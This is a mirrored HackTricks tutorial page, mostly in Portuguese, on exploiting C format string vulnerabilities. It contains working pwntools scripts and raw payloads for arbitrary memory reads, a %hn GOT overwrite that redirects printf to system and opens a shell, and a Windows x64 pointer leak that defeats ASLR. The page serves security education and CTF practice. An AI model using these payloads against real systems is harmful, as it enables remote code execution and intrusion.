mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
261 lines
12 KiB
Markdown
261 lines
12 KiB
Markdown
# Format Strings
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
|
|
## Informações Básicas
|
|
|
|
Em C **`printf`** é uma função que pode ser usada para **imprimir** uma string. O **primeiro parâmetro** que esta função espera é o **texto bruto com os especificadores de formato**. Os **parâmetros seguintes** esperados são os **valores** para **substituir** os **especificadores de formato** do texto bruto.
|
|
|
|
Outras funções vulneráveis são **`sprintf()`** e **`fprintf()`**.
|
|
|
|
A vulnerabilidade aparece quando um **texto controlado pelo atacante é usado como o primeiro argumento** desta função. O atacante poderá criar uma **entrada especial explorando** as capacidades da **printf format string** para ler e **escrever quaisquer dados em qualquer endereço (legível/gravável)**. Dessa forma, é possível **executar código arbitrário**.
|
|
|
|
#### Especificadores de formato:
|
|
```bash
|
|
%08x —> 8 hex bytes
|
|
%d —> Entire
|
|
%u —> Unsigned
|
|
%s —> String
|
|
%p —> Pointer
|
|
%n —> Number of written bytes
|
|
%hn —> Occupies 2 bytes instead of 4
|
|
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
|
```
|
|
**Exemplos:**
|
|
|
|
- Exemplo vulnerável:
|
|
```c
|
|
char buffer[30];
|
|
gets(buffer); // Dangerous: takes user input without restrictions.
|
|
printf(buffer); // If buffer contains "%x", it reads from the stack.
|
|
```
|
|
- Uso normal:
|
|
```c
|
|
int value = 1205;
|
|
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
|
```
|
|
- Com argumentos ausentes:
|
|
```c
|
|
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
|
```
|
|
- fprintf vulnerável:
|
|
```c
|
|
#include <stdio.h>
|
|
|
|
int main(int argc, char *argv[]) {
|
|
char *user_input;
|
|
user_input = argv[1];
|
|
FILE *output_file = fopen("output.txt", "w");
|
|
fprintf(output_file, user_input); // The user input can include formatters!
|
|
fclose(output_file);
|
|
return 0;
|
|
}
|
|
```
|
|
### **Acessando Ponteiros**
|
|
|
|
O formato **`%<n>$x`**, onde `n` é um número, permite indicar ao printf que selecione o n-ésimo parâmetro (da pilha). Então, se você quiser ler o 4º parâmetro da pilha usando printf, você poderia fazer:
|
|
```c
|
|
printf("%x %x %x %x")
|
|
```
|
|
e você leria do primeiro ao quarto parâmetro.
|
|
|
|
Ou você poderia fazer:
|
|
```c
|
|
printf("%4$x")
|
|
```
|
|
e ler diretamente o quarto.
|
|
|
|
Observe que o atacante controla o `printf` **parâmetro, o que basicamente significa que** sua entrada vai estar na stack quando `printf` for chamado, o que significa que ele poderia escrever endereços de memória específicos na stack.
|
|
|
|
> [!CAUTION]
|
|
> Um atacante controlando essa entrada será capaz de **adicionar endereços arbitrários na stack e fazer com que `printf` os acesse**. Na próxima seção será explicado como usar esse comportamento.
|
|
|
|
## **Arbitrary Read**
|
|
|
|
É possível usar o formatador **`%n$s`** para fazer com que **`printf`** obtenha o **endereço** situado na **posição n**, seguir esse endereço e **imprimi-lo como se fosse uma string** (imprime até encontrar 0x00). Então, se o endereço base do binário for **`0x8048000`**, e soubermos que a entrada do usuário começa na 4ª posição na stack, é possível imprimir o início do binário com:
|
|
```python
|
|
from pwn import *
|
|
|
|
p = process('./bin')
|
|
|
|
payload = b'%6$s' #4th param
|
|
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
|
|
payload += p32(0x8048000) #6th param
|
|
|
|
p.sendline(payload)
|
|
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
|
```
|
|
> [!CAUTION]
|
|
> Observe que você não pode colocar o endereço 0x8048000 no início da entrada porque a string será cat em 0x00 no final desse endereço.
|
|
|
|
### Encontrar offset
|
|
|
|
Para encontrar o offset para sua entrada você pode enviar 4 ou 8 bytes (`0x41414141`) seguidos por **`%1$x`** e **aumentar** o valor até recuperar os `A's`.
|
|
|
|
<details>
|
|
|
|
<summary>Brute Force printf offset</summary>
|
|
```python
|
|
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
|
|
|
|
from pwn import *
|
|
|
|
# Iterate over a range of integers
|
|
for i in range(10):
|
|
# Construct a payload that includes the current integer as offset
|
|
payload = f"AAAA%{i}$x".encode()
|
|
|
|
# Start a new process of the "chall" binary
|
|
p = process("./chall")
|
|
|
|
# Send the payload to the process
|
|
p.sendline(payload)
|
|
|
|
# Read and store the output of the process
|
|
output = p.clean()
|
|
|
|
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
|
|
if b"41414141" in output:
|
|
# If the string is found, log the success message and break out of the loop
|
|
log.success(f"User input is at offset : {i}")
|
|
break
|
|
|
|
# Close the process
|
|
p.close()
|
|
```
|
|
</details>
|
|
|
|
### Quão útil
|
|
|
|
Leituras arbitrárias podem ser úteis para:
|
|
|
|
- **Dump** do **binary** da memória
|
|
- **Acessar partes específicas da memória onde informações sensíveis são armazenadas** (como canaries, encryption keys ou custom passwords como neste [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
|
|
|
## **Arbitrary Write**
|
|
|
|
O formatador **`%<num>$n`** **escreve** o **número de bytes escritos** no **endereço indicado** no parâmetro <num> na stack. Se um atacante puder escrever quantos caracteres quiser com printf, ele poderá fazer com que **`%<num>$n`** escreva um número arbitrário em um endereço arbitrário.
|
|
|
|
Felizmente, para escrever o número 9999, não é necessário adicionar 9999 "A"s na entrada; para isso é possível usar o formatador **`%.<num-write>%<num>$n`** para escrever o número **`<num-write>`** no **endereço apontado pela posição `num`**.
|
|
```bash
|
|
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
|
AAAA.%500\$08x —> Param at offset 500
|
|
```
|
|
No entanto, note que normalmente, para escrever um endereço como `0x08049724` (que é um número ENORME para escrever de uma só vez), **usa-se `$hn`** em vez de `$n`. Isso permite **escrever apenas 2 Bytes**. Portanto essa operação é feita duas vezes, uma para os 2B mais altos do endereço e outra para os 2B mais baixos.
|
|
|
|
Portanto, essa vulnerabilidade permite **escrever qualquer coisa em qualquer endereço (arbitrary write).**
|
|
|
|
Neste exemplo, o objetivo será **sobrescrever** o **endereço** de uma **função** na tabela **GOT** que será chamada depois. Embora isso possa explorar outras técnicas de arbitrary write para execução:
|
|
|
|
|
|
{{#ref}}
|
|
../arbitrary-write-2-exec/
|
|
{{#endref}}
|
|
|
|
Vamos **sobrescrever** uma **função** que **recebe** seus **argumentos** do **usuário** e **apontá-la** para a **função** **`system`**.\
|
|
Como mencionado, para escrever o endereço normalmente são necessários 2 passos: você **escreve primeiro 2 Bytes** do endereço e depois os outros 2. Para isso é usado **`$hn`**.
|
|
|
|
- **HOB** refere-se aos 2 bytes mais altos do endereço
|
|
- **LOB** refere-se aos 2 bytes mais baixos do endereço
|
|
|
|
Então, por causa de como o format string funciona, você precisa **escrever primeiro o menor** de \[HOB, LOB] e depois o outro.
|
|
|
|
Se HOB < LOB\
|
|
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
|
|
|
Se HOB > LOB\
|
|
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
|
|
|
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
|
|
```bash
|
|
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
|
|
```
|
|
### Template do Pwntools
|
|
|
|
Você pode encontrar um **modelo** para preparar um exploit para este tipo de vulnerabilidade em:
|
|
|
|
|
|
{{#ref}}
|
|
format-strings-template.md
|
|
{{#endref}}
|
|
|
|
Ou este exemplo básico de [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./got_overwrite-32')
|
|
libc = elf.libc
|
|
libc.address = 0xf7dc2000 # ASLR disabled
|
|
|
|
p = process()
|
|
|
|
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
|
|
p.sendline(payload)
|
|
|
|
p.clean()
|
|
|
|
p.sendline('/bin/sh')
|
|
|
|
p.interactive()
|
|
```
|
|
## Format Strings to BOF
|
|
|
|
É possível abusar das ações de escrita de uma format string vulnerability para **escrever em endereços do stack** e explorar um tipo de vulnerabilidade **buffer overflow**.
|
|
|
|
|
|
## Windows x64: Format-string leak to bypass ASLR (no varargs)
|
|
|
|
On Windows x64 the first four integer/pointer parameters are passed in registers: RCX, RDX, R8, R9. Em muitos buggy call-sites a string controlada pelo atacante é usada como o argumento de formato, mas nenhum argumento variádico é fornecido, por exemplo:
|
|
```c
|
|
// keyData is fully controlled by the client
|
|
// _snprintf(dst, len, fmt, ...)
|
|
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
|
|
```
|
|
Porque nenhum varargs é passado, qualquer conversão como "%p", "%x", "%s" fará com que o CRT leia o próximo argumento variádico do registrador apropriado. Com a Microsoft x64 calling convention a primeira leitura para "%p" vem de R9. Qualquer valor transitório que esteja em R9 no call-site será impresso. Na prática isso frequentemente leaked um ponteiro estável in-module (por exemplo, um ponteiro para um objeto local/global previamente colocado em R9 pelo código ao redor ou um callee-saved value), o que pode ser usado para recuperar o module base e derrotar ASLR.
|
|
|
|
Practical workflow:
|
|
|
|
- Injete um formato inofensivo como "%p " logo no início da string controlada pelo atacante para que a primeira conversão execute antes de qualquer filtragem.
|
|
- Capture o leaked pointer, identifique o offset estático desse objeto dentro do módulo (by reversing uma vez com símbolos ou uma cópia local), e recupere o image base como `leak - known_offset`.
|
|
- Reuse essa base para calcular endereços absolutos de ROP gadgets e IAT entries remotamente.
|
|
|
|
Example (abbreviated python):
|
|
```python
|
|
from pwn import remote
|
|
|
|
# Send an input that the vulnerable code will pass as the "format"
|
|
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
|
|
io = remote(HOST, 4141)
|
|
# ... drive protocol to reach the vulnerable snprintf ...
|
|
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
|
|
base = leaked - 0x20660 # module base = leak - offset
|
|
print(hex(leaked), hex(base))
|
|
```
|
|
Notas:
|
|
- O offset exato a subtrair é encontrado uma vez durante o reversing local e então reutilizado (mesmo binário/versão).
|
|
- Se "%p" não imprimir um pointer válido na primeira tentativa, tente outros specifiers ("%llx", "%s") ou múltiplas conversões ("%p %p %p") para amostrar outros registers/stack de argumentos.
|
|
- Este padrão é específico da calling convention Windows x64 e das implementações printf-family que buscam varargs inexistentes nos registers quando o format string os solicita.
|
|
|
|
Esta técnica é extremamente útil para bootstrap ROP em serviços Windows compilados com ASLR e sem primitivas óbvias de divulgação de memória.
|
|
|
|
## Outros Exemplos & Referências
|
|
|
|
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
|
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
|
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
|
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
|
|
- 32 bit, no relro, no canary, nx, no pie, uso básico de format strings para leak da flag a partir da stack (sem necessidade de alterar o fluxo de execução)
|
|
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
|
- 32 bit, relro, no canary, nx, no pie, format string para sobrescrever o endereço `fflush` com a função win (ret2win)
|
|
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
|
|
- 32 bit, relro, no canary, nx, no pie, format string para escrever um endereço dentro de main em `.fini_array` (assim o fluxo volta mais 1 vez) e escrever o endereço de `system` na tabela GOT apontando para `strlen`. Quando o fluxo retorna para main, `strlen` é executado com input do usuário e, estando apontando para `system`, executará os comandos passados.
|
|
|
|
|
|
## Referências
|
|
|
|
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
|
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|